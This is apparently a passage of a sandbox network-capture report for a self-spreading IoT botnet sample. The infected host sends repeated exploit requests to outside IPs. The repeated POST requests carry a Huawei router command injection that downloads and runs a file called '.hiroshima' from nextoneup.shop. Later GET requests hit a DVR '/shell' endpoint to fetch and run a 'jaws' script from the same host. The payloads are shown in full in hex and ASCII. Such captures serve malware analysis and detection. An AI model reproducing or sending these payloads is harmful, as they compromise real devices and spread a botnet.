Apr 14, 2024 04:01:34.526634932 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:50.396415949 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.23	33204	156.235.99.125	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.967794895 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:19.904825926 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:20.992631912 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:23.264250040 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:27.615761995 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:36.318398952 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.23	38902	38.6.72.25	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.469430923 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.23	56336	104.20.12.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.469587088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.23	49770	198.2.196.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.482309103 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.666074991 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 14 Apr 2024 02:01:20 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.23	60068	35.164.215.65	80

Timestamp	Bytes transferred	Direction	Data
